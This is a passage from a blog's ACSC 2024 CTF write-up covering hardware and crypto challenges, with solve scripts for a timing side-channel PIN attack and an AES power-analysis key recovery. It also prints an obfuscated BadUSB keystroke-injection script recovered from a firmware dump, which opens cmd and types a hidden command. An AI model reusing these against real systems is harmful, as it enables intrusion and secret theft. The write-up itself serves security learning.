</div>]]></content><author><name>Bo-Shiun Yen</name></author><category term="CTF" /><category term="Reverse" /><category term="Crypto" /><category term="My Challenge" /><summary type="html"><![CDATA[Overview Time flies. Suddenly it’s been one full year since the last b01lersCTF. This year’s edition featured A LOT more challenges and seems like an overall success. Prop to the new President (@Gabe) for organizing the whole event! This year I created 5 challenges for b01lersCTF, and I hoped that everyone enjoyed them.]]></summary></entry><entry><title type="html">ACSC 2024 writeup</title><link href="http://blog.bronson113.org/2024/04/03/acsc-2024-writeup.html" rel="alternate" type="text/html" title="ACSC 2024 writeup" /><published>2024-04-03T00:00:00+00:00</published><updated>2024-04-03T00:00:00+00:00</updated><id>http://blog.bronson113.org/2024/04/03/acsc-2024-writeup</id><content type="html" xml:base="http://blog.bronson113.org/2024/04/03/acsc-2024-writeup.html"><![CDATA[<p>This weekend I played ACSC, trying to qualify for ICC. (Probably not the best timing while running cursedCTF on the side). In the end, I solved 11 challenges, though mostly the easier ones.</p>

<!--more-->

<p>Challenges marked with * are solved after the competition ends.</p>

<p>Here is a screenshot of the scoreboard and solves
<img src="/img/acsc2024-scoreboard.png" alt="" />
<img src="/img/acsc2024-solves.png" alt="" /></p>

<h2 id="hardware">Hardware</h2>

<h3 id="an4lyz3-1t">An4lyz3-1t</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by Chainfire73

Our surveillance team has managed to tap into a secret serial communication and capture a digital signal using a Saleae logic analyzer. Your objective is to decode the signal and uncover the hidden message.
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given a digital signal capture file generated using saleae logic analyzer. If we install the software for that flag format, we can see that only channel 4 has any data on it. Through trial and error, I found out the correct baud rate is 57600, and the serial data decoder can decode the flag.
<img src="/img/acsc2024-an4lyz3-1t.png" alt="" />
<code class="language-plaintext highlighter-rouge">ACSC{b4by4n4lyz3r_548e8c80e}</code></p>

<h3 id="vault">Vault</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>authored by v3ct0r, Chainfire73

Can you perform side-channel attack to this vault? The PIN is a 10-digit number.

* Python3 is installed on remote. `nc vault.chal.2024.ctf.acsc.asia 9999`
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given the binary file run on the remote server. With a bit of reversing the challenge, we see that it first checked the length of the pin, then checked the pin 1 by 1. Each check adds a 0.1 second delay, so the timing difference is very observable. A simple timing side channel attack can be used to extract the pin. After the pin is extracted, running the binary with the pin gives the flag.</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}</code></p>

<div class="accordion mb-2" id="vault_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-vault_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#vault_solve-content" aria-expanded="true" aria-controls="vault_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="vault_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-vault_solve" data-bs-parent="#vault_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">time</span>
<span class="kn">import</span> <span class="nn">string</span>
<span class="kn">import</span> <span class="nn">subprocess</span>

<span class="n">pin</span> <span class="o">=</span> <span class="s">"0000000000"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">"./chall"</span><span class="p">],</span> <span class="nb">input</span><span class="o">=</span><span class="n">pin</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>

<span class="n">pin</span> <span class="o">=</span> <span class="s">"0000000000</span><span class="se">\n</span><span class="s">"</span>
<span class="n">res</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">"./chall"</span><span class="p">],</span> <span class="nb">input</span><span class="o">=</span><span class="n">pin</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">res</span><span class="p">)</span>

<span class="n">ch</span> <span class="o">=</span> <span class="n">string</span><span class="p">.</span><span class="n">digits</span>
<span class="k">def</span> <span class="nf">trial</span><span class="p">(</span><span class="n">pin</span><span class="p">):</span>
    <span class="n">st_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
    <span class="n">res</span> <span class="o">=</span> <span class="n">subprocess</span><span class="p">.</span><span class="n">run</span><span class="p">([</span><span class="s">"./chall"</span><span class="p">],</span> <span class="nb">input</span><span class="o">=</span><span class="n">pin</span><span class="p">.</span><span class="n">encode</span><span class="p">(),</span> <span class="n">capture_output</span><span class="o">=</span><span class="bp">True</span><span class="p">)</span>
    <span class="n">fn_time</span> <span class="o">=</span> <span class="n">time</span><span class="p">.</span><span class="n">time</span><span class="p">()</span>
    <span class="k">return</span> <span class="n">fn_time</span> <span class="o">-</span> <span class="n">st_time</span>

<span class="n">pin</span> <span class="o">=</span> <span class="s">""</span>
<span class="k">for</span> <span class="n">loc</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">10</span><span class="p">):</span>
    <span class="n">cur_ch</span> <span class="o">=</span> <span class="s">''</span>
    <span class="n">cur_time</span> <span class="o">=</span> <span class="o">-</span><span class="mi">10</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="n">ch</span><span class="p">:</span>
        <span class="n">cur_pin</span> <span class="o">=</span> <span class="n">pin</span> <span class="o">+</span> <span class="n">i</span>
        <span class="n">cur_pin</span> <span class="o">=</span> <span class="n">cur_pin</span><span class="p">.</span><span class="n">ljust</span><span class="p">(</span><span class="mi">10</span><span class="p">,</span> <span class="s">"z"</span><span class="p">)</span>
        <span class="k">print</span><span class="p">(</span><span class="n">cur_pin</span><span class="p">)</span>
        <span class="n">res</span> <span class="o">=</span> <span class="n">trial</span><span class="p">(</span><span class="n">cur_pin</span><span class="p">)</span>
        <span class="k">if</span> <span class="n">res</span> <span class="o">&gt;</span> <span class="n">cur_time</span><span class="p">:</span>
            <span class="k">print</span><span class="p">(</span><span class="n">i</span><span class="p">,</span> <span class="n">res</span><span class="p">,</span> <span class="n">cur_time</span><span class="p">)</span>
            <span class="n">cur_time</span> <span class="o">=</span> <span class="n">res</span>
            <span class="n">cur_ch</span> <span class="o">=</span> <span class="n">i</span>

    <span class="n">pin</span> <span class="o">+=</span> <span class="n">cur_ch</span>

<span class="k">print</span><span class="p">(</span><span class="n">pin</span><span class="p">)</span>

<span class="c1"># pin on server: 8574219362
# ACSC{b377er_d3L4y3d_7h4n_N3v3r_b42fd3d840948f3e}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="pwr-tr4ce">Pwr-tr4ce</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
</pre></td><td class="rouge-code"><pre>authored by Chainfire73

You've been given power traces and text inputs captured from a microcontroller running AES encryption. Your goal is to extract the encryption key.

EXPERIMENT SETUP
scope = chipwhisperer lite
target = stm32f3
AES key length = 16 bytes
</pre></td></tr></tbody></table></code></pre></div></div>

<p>The challenge is trying to perform a power analysis side channel using the provided trace. 
I’m lazy and find someone else’s <a href="https://eshard.com/posts/pico-ctf-power-analysis-challenges">side channel analysis tool</a> :p</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{Pwr!4n4lyz}</code></p>

<blockquote>
  <p>Honestly I should just learn how to do power analysis &gt;w&lt;</p>
</blockquote>

<div class="accordion mb-2" id="power_solve">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-power_solve">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#power_solve-content" aria-expanded="true" aria-controls="power_solve-content">
         <p>Show solve.py</p>
 
      </button>
    </p>
    <div id="power_solve-content" class="accordion-collapse collapse" aria-labelledby="hd-power_solve" data-bs-parent="#power_solve">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
</pre></td><td class="rouge-code"><pre><span class="kn">import</span> <span class="nn">numpy</span> <span class="k">as</span> <span class="n">np</span>
<span class="kn">from</span> <span class="nn">estraces</span> <span class="kn">import</span> <span class="n">read_ths_from_ram</span>
<span class="kn">import</span> <span class="nn">scared</span>

<span class="n">texts</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="s">"textins.npy"</span><span class="p">)</span>
<span class="n">traces</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">load</span><span class="p">(</span><span class="s">"traces.npy"</span><span class="p">)</span>

<span class="n">ths</span> <span class="o">=</span> <span class="n">read_ths_from_ram</span><span class="p">(</span><span class="n">samples</span><span class="o">=</span><span class="n">traces</span><span class="p">,</span> <span class="n">plaintext</span><span class="o">=</span><span class="n">texts</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">ths</span><span class="p">)</span>

<span class="n">attack</span> <span class="o">=</span> <span class="n">scared</span><span class="p">.</span><span class="n">CPAAttack</span><span class="p">(</span><span class="n">selection_function</span><span class="o">=</span><span class="n">scared</span><span class="p">.</span><span class="n">aes</span><span class="p">.</span><span class="n">selection_functions</span><span class="p">.</span><span class="n">encrypt</span><span class="p">.</span><span class="n">FirstSubBytes</span><span class="p">(),</span>
                          <span class="n">model</span><span class="o">=</span><span class="n">scared</span><span class="p">.</span><span class="n">HammingWeight</span><span class="p">(),</span>
                          <span class="n">discriminant</span><span class="o">=</span><span class="n">scared</span><span class="p">.</span><span class="n">maxabs</span><span class="p">,</span>
                          <span class="n">convergence_step</span><span class="o">=</span><span class="mi">10</span><span class="p">)</span>
<span class="n">attack</span><span class="p">.</span><span class="n">run</span><span class="p">(</span><span class="n">scared</span><span class="p">.</span><span class="n">Container</span><span class="p">(</span><span class="n">ths</span><span class="p">))</span>

<span class="kn">import</span> <span class="nn">matplotlib.pyplot</span> <span class="k">as</span> <span class="n">plt</span>

<span class="k">def</span> <span class="nf">plot_attack</span><span class="p">(</span><span class="n">attack</span><span class="p">,</span> <span class="n">byte</span><span class="p">):</span>
    <span class="s">"""Plot attack results for the given byte."""</span>
    <span class="n">fig</span><span class="p">,</span> <span class="n">axes</span> <span class="o">=</span> <span class="n">plt</span><span class="p">.</span><span class="n">subplots</span><span class="p">(</span><span class="mi">1</span><span class="p">,</span> <span class="mi">2</span><span class="p">,</span> <span class="n">figsize</span><span class="o">=</span><span class="p">(</span><span class="mi">20</span><span class="p">,</span> <span class="mi">3</span><span class="p">))</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">plot</span><span class="p">(</span><span class="n">attack</span><span class="p">.</span><span class="n">results</span><span class="p">[:,</span> <span class="n">byte</span><span class="p">].</span><span class="n">T</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">0</span><span class="p">].</span><span class="n">set_title</span><span class="p">(</span><span class="s">'CPA results'</span><span class="p">,</span> <span class="n">loc</span><span class="o">=</span><span class="s">'left'</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">plot</span><span class="p">(</span><span class="n">attack</span><span class="p">.</span><span class="n">convergence_traces</span><span class="p">[:,</span> <span class="n">byte</span><span class="p">].</span><span class="n">T</span><span class="p">)</span>
    <span class="n">axes</span><span class="p">[</span><span class="mi">1</span><span class="p">].</span><span class="n">set_title</span><span class="p">(</span><span class="s">'Scores convergence'</span><span class="p">,</span> <span class="n">loc</span><span class="o">=</span><span class="s">'right'</span><span class="p">)</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">suptitle</span><span class="p">(</span><span class="sa">f</span><span class="s">'Attack results for byte </span><span class="si">{</span><span class="n">byte</span><span class="si">}</span><span class="s">'</span><span class="p">)</span>
    <span class="n">plt</span><span class="p">.</span><span class="n">show</span><span class="p">()</span>

<span class="c1"># plot_attack(attack, 0)
</span><span class="n">found_key</span> <span class="o">=</span> <span class="n">np</span><span class="p">.</span><span class="n">nanargmax</span><span class="p">(</span><span class="n">attack</span><span class="p">.</span><span class="n">scores</span><span class="p">,</span> <span class="n">axis</span><span class="o">=</span><span class="mi">0</span><span class="p">).</span><span class="n">astype</span><span class="p">(</span><span class="s">'uint8'</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">found_key</span><span class="p">.</span><span class="n">tobytes</span><span class="p">())</span>
<span class="c1"># ACSC{Pwr!4n4lyz}
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<h3 id="rfid_demod">RFID_Demod</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
</pre></td><td class="rouge-code"><pre>authored by Chainfire73

We have obtained analog trace captured by sniffing a rfid writer when it is writing on a T5577 tag. Can you help us find what DATA is being written to it?

Flag Format: ACSC{UPPERCASE_HEX}
</pre></td></tr></tbody></table></code></pre></div></div>

<p>We are given the network sniff of a T5577 tag write operation and task to extract what data is written. If we look at page 23 of the <a href="https://ww1.microchip.com/downloads/en/DeviceDoc/Atmel-9187-RFID-ATA5577C_Datasheet.pdf">specification</a>, We can see that the operation is done by sending 3 starting bits, then the data, and ends with 3 stop bits. If we then open the wave file in Audacity and record the bits, and remove the starting and ending accordingly, we get the flag.
<code class="language-plaintext highlighter-rouge">ACSC{B1635CAD}</code></p>

<p><img src="/img/acsc2024-rfid-demod.png" alt="" /></p>

<blockquote>
  <p>The bits: 10010110001011000110101110010101101011</p>

  <p>100 | 10110001011000110101110010101101 | 011</p>

  <p>0xb1635cad</p>
</blockquote>

<h3 id="picopico">picopico</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by op

Security personnel in our company have spotted a suspicious USB flash drive. They found a Raspberry Pi Pico board inside the case, but no flash drive board. Here's the firmware dump of the Raspberry Pi Pico board. Could you figure out what this 'USB flash drive' is for?
</pre></td></tr></tbody></table></code></pre></div></div>

<p>At first, I had no clue where to start, so I used some basic forensic tools to look at the file and dump it into Ghidra. With <code class="language-plaintext highlighter-rouge">strings</code> I was able to find the following</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
</pre></td><td class="rouge-code"><pre><span class="n">picopico</span><span class="err">$</span> <span class="n">strings</span> <span class="n">firmware</span><span class="p">.</span><span class="nb">bin</span> <span class="o">|</span><span class="n">tail</span> <span class="o">-</span><span class="n">n</span> <span class="mi">36</span>
<span class="kn">import</span> <span class="nn">time</span>
<span class="n">L</span><span class="o">=</span><span class="nb">len</span>
<span class="n">o</span><span class="o">=</span><span class="nb">bytes</span>
<span class="n">l</span><span class="o">=</span><span class="nb">zip</span>
<span class="kn">import</span> <span class="nn">microcontroller</span>
<span class="kn">import</span> <span class="nn">usb_hid</span>
<span class="kn">from</span> <span class="nn">adafruit_hid.keyboard</span> <span class="kn">import</span> <span class="n">Keyboard</span>
<span class="kn">from</span> <span class="nn">adafruit_hid.keyboard_layout_us</span> <span class="kn">import</span> <span class="n">KeyboardLayoutUS</span>
<span class="kn">from</span> <span class="nn">adafruit_hid.keycode</span> <span class="kn">import</span> <span class="n">Keycode</span>
<span class="n">w</span><span class="o">=</span><span class="sa">b</span><span class="s">"</span><span class="se">\x10\x53\x7f\x2b</span><span class="s">"</span>
<span class="n">a</span><span class="o">=</span><span class="mh">0x04</span>
<span class="n">K</span><span class="o">=</span><span class="mi">43</span>
<span class="k">if</span> <span class="n">microcontroller</span><span class="p">.</span><span class="n">nvm</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="n">L</span><span class="p">(</span><span class="n">w</span><span class="p">)]</span><span class="o">!=</span><span class="n">w</span><span class="p">:</span>
 <span class="n">microcontroller</span><span class="p">.</span><span class="n">nvm</span><span class="p">[</span><span class="mi">0</span><span class="p">:</span><span class="n">L</span><span class="p">(</span><span class="n">w</span><span class="p">)]</span><span class="o">=</span><span class="n">w</span>
 <span class="n">O</span><span class="o">=</span><span class="n">microcontroller</span><span class="p">.</span><span class="n">nvm</span><span class="p">[</span><span class="n">a</span><span class="p">:</span><span class="n">a</span><span class="o">+</span><span class="n">K</span><span class="p">]</span>
 <span class="n">h</span><span class="o">=</span><span class="n">microcontroller</span><span class="p">.</span><span class="n">nvm</span><span class="p">[</span><span class="n">a</span><span class="o">+</span><span class="n">K</span><span class="p">:</span><span class="n">a</span><span class="o">+</span><span class="n">K</span><span class="o">+</span><span class="n">K</span><span class="p">]</span>
 <span class="n">F</span><span class="o">=</span><span class="n">o</span><span class="p">((</span><span class="n">kb</span><span class="o">^</span><span class="n">fb</span> <span class="k">for</span> <span class="n">kb</span><span class="p">,</span><span class="n">fb</span> <span class="ow">in</span> <span class="n">l</span><span class="p">(</span><span class="n">O</span><span class="p">,</span><span class="n">h</span><span class="p">))).</span><span class="n">decode</span><span class="p">(</span><span class="s">"ascii"</span><span class="p">)</span>
 <span class="n">S</span><span class="o">=</span><span class="n">Keyboard</span><span class="p">(</span><span class="n">usb_hid</span><span class="p">.</span><span class="n">devices</span><span class="p">)</span>
 <span class="n">C</span><span class="o">=</span><span class="n">KeyboardLayoutUS</span><span class="p">(</span><span class="n">S</span><span class="p">)</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">S</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">Keycode</span><span class="p">.</span><span class="n">WINDOWS</span><span class="p">,</span><span class="n">Keycode</span><span class="p">.</span><span class="n">R</span><span class="p">)</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">S</span><span class="p">.</span><span class="n">release_all</span><span class="p">()</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
 <span class="n">C</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="s">"cmd"</span><span class="p">,</span><span class="n">delay</span><span class="o">=</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">S</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">Keycode</span><span class="p">.</span><span class="n">ENTER</span><span class="p">)</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">S</span><span class="p">.</span><span class="n">release_all</span><span class="p">()</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mi">1</span><span class="p">)</span>
 <span class="n">C</span><span class="p">.</span><span class="n">write</span><span class="p">(</span><span class="n">F</span><span class="p">,</span><span class="n">delay</span><span class="o">=</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">S</span><span class="p">.</span><span class="n">press</span><span class="p">(</span><span class="n">Keycode</span><span class="p">.</span><span class="n">ENTER</span><span class="p">)</span>
 <span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mf">0.1</span><span class="p">)</span>
 <span class="n">S</span><span class="p">.</span><span class="n">release_all</span><span class="p">()</span>
<span class="n">time</span><span class="p">.</span><span class="n">sleep</span><span class="p">(</span><span class="mh">0xFFFFFFFF</span><span class="p">)</span>
</pre></td></tr></tbody></table></code></pre></div></div>

<p>This seems very weird, it’s a Python script trying to mimic keyboard input. Seems like it’s opening the Windows cmd prompt and running some commands. We see that <code class="language-plaintext highlighter-rouge">F</code> stores the command. After some deobfuscation, we can see that <code class="language-plaintext highlighter-rouge">F</code> is <code class="language-plaintext highlighter-rouge">bytes((kb^fb for kb,fb in zip(nvm[4:4+43], nvm[4+43:4+43+43])).decode("ascii")</code>. However, I wasn’t able to find where exactly this nvm is located. Knowing that the flag starts with ACSC, the easy way out is to xor the whole file at 43 bytes offset, so the output will include our flag. I then grep from the output for the flag.</p>

<p><code class="language-plaintext highlighter-rouge">ACSC{349040c16c36fbba8c484b289e0dae6f}</code></p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="n">xor</span>

<span class="n">firmware</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="s">"firmware.bin"</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">xored</span> <span class="o">=</span> <span class="n">xor</span><span class="p">(</span><span class="n">firmware</span><span class="p">,</span> <span class="n">firmware</span><span class="p">[</span><span class="mi">43</span><span class="p">:])</span>

<span class="n">flag_start</span> <span class="o">=</span> <span class="n">xored</span><span class="p">.</span><span class="n">find</span><span class="p">(</span><span class="sa">b</span><span class="s">"ACSC"</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="n">xored</span><span class="p">[</span><span class="n">flag_start</span><span class="p">:</span><span class="n">flag_start</span><span class="o">+</span><span class="mi">200</span><span class="p">])</span>

<span class="c1"># ACSC{349040c16c36fbba8c484b289e0dae6f}
</span></pre></td></tr></tbody></table></code></pre></div></div>

<h2 id="crypto">Crypto</h2>

<h3 id="rsa-stream2">RSA Stream2</h3>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
</pre></td><td class="rouge-code"><pre>authored by theoremoon

I made a stream cipher out of RSA! note: The name 'RSA Stream2' is completely unrelated to the 'RSA Stream' challenge in past ACSC. It is merely the author's whimsical choice and prior knowledge of 'RSA Stream' is not required.
</pre></td></tr></tbody></table></code></pre></div></div>

<div class="accordion mb-2" id="rsa_chal">
  <div class="accordion-item">
    <p class="accordion-header code-toggle h2" id="hd-rsa_chal">
      <button class="accordion-button collapsed" type="button" data-bs-toggle="collapse" data-bs-target="#rsa_chal-content" aria-expanded="true" aria-controls="rsa_chal-content">
         <p>Show chal.py</p>
 
      </button>
    </p>
    <div id="rsa_chal-content" class="accordion-collapse collapse" aria-labelledby="hd-rsa_chal" data-bs-parent="#rsa_chal">
      <div class="accordion-body pb-0">
          
<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
</pre></td><td class="rouge-code"><pre><span class="kn">from</span> <span class="nn">Crypto.Util.number</span> <span class="kn">import</span> <span class="n">getPrime</span>
<span class="kn">import</span> <span class="nn">random</span>
<span class="kn">import</span> <span class="nn">re</span>


<span class="n">p</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span>
<span class="n">q</span> <span class="o">=</span> <span class="n">getPrime</span><span class="p">(</span><span class="mi">512</span><span class="p">)</span>
<span class="n">e</span> <span class="o">=</span> <span class="mi">65537</span>
<span class="n">n</span> <span class="o">=</span> <span class="n">p</span> <span class="o">*</span> <span class="n">q</span>
<span class="n">d</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">e</span><span class="p">,</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="p">(</span><span class="n">p</span> <span class="o">-</span> <span class="mi">1</span><span class="p">)</span> <span class="o">*</span> <span class="p">(</span><span class="n">q</span> <span class="o">-</span> <span class="mi">1</span><span class="p">))</span>

<span class="n">m</span> <span class="o">=</span> <span class="n">random</span><span class="p">.</span><span class="n">randrange</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="n">m</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>

<span class="n">text</span> <span class="o">=</span> <span class="nb">open</span><span class="p">(</span><span class="n">__file__</span><span class="p">,</span> <span class="s">"rb"</span><span class="p">).</span><span class="n">read</span><span class="p">()</span>
<span class="n">ciphertext</span> <span class="o">=</span> <span class="p">[]</span>
<span class="k">for</span> <span class="n">b</span> <span class="ow">in</span> <span class="n">text</span><span class="p">:</span>
    <span class="n">o</span> <span class="o">=</span> <span class="mi">0</span>
    <span class="k">for</span> <span class="n">i</span> <span class="ow">in</span> <span class="nb">range</span><span class="p">(</span><span class="mi">8</span><span class="p">):</span>
        <span class="n">bit</span> <span class="o">=</span> <span class="p">((</span><span class="n">b</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span><span class="p">)</span>
        <span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">*</span> <span class="n">c</span> <span class="o">%</span> <span class="n">n</span>
        <span class="n">o</span> <span class="o">|=</span> <span class="n">bit</span> <span class="o">&lt;&lt;</span> <span class="n">i</span>
    <span class="n">ciphertext</span><span class="p">.</span><span class="n">append</span><span class="p">(</span><span class="n">o</span><span class="p">)</span>


<span class="nb">open</span><span class="p">(</span><span class="s">"chal.py.enc"</span><span class="p">,</span> <span class="s">"wb"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="nb">bytes</span><span class="p">(</span><span class="n">ciphertext</span><span class="p">))</span>
<span class="n">redacted</span> <span class="o">=</span> <span class="n">re</span><span class="p">.</span><span class="n">sub</span><span class="p">(</span><span class="s">"flag = </span><span class="se">\"</span><span class="s">ACSC{(.*)}</span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="s">"flag = </span><span class="se">\"</span><span class="s">ACSC{*REDACTED*}</span><span class="se">\"</span><span class="s">"</span><span class="p">,</span> <span class="n">text</span><span class="p">.</span><span class="n">decode</span><span class="p">())</span>
<span class="nb">open</span><span class="p">(</span><span class="s">"chal_redacted.py"</span><span class="p">,</span> <span class="s">"w"</span><span class="p">).</span><span class="n">write</span><span class="p">(</span><span class="n">redacted</span><span class="p">)</span>
<span class="k">print</span><span class="p">(</span><span class="s">"n ="</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span>

<span class="c1"># flag = "ACSC{*REDACTED*}"
</span></pre></td></tr></tbody></table></code></pre></div></div>

 
      </div>
    </div>
  </div>
</div>

<p>If we look at these lines</p>

<div class="language-python highlighter-rouge"><div class="highlight"><pre class="highlight"><code><table class="rouge-table"><tbody><tr><td class="rouge-gutter gl"><pre class="lineno">1
2
</pre></td><td class="rouge-code"><pre><span class="n">bit</span> <span class="o">=</span> <span class="p">((</span><span class="n">b</span> <span class="o">&gt;&gt;</span> <span class="n">i</span><span class="p">)</span> <span class="o">&amp;</span> <span class="mi">1</span><span class="p">)</span> <span class="o">^</span> <span class="p">(</span><span class="nb">pow</span><span class="p">(</span><span class="n">c</span><span class="p">,</span> <span class="n">d</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">%</span> <span class="mi">2</span><span class="p">)</span>
<span class="n">c</span> <span class="o">=</span> <span class="nb">pow</span><span class="p">(</span><span class="mi">2</span><span class="p">,</span> <span class="n">e</span><span class="p">,</span> <span class="n">n</span><span class="p">)</span> <span class="o">*</span> <span class="n">c</span> <span class="o">%</span> <span class="n">n</span>
</pre></td></tr></tbody></table></code></pre></div></div>

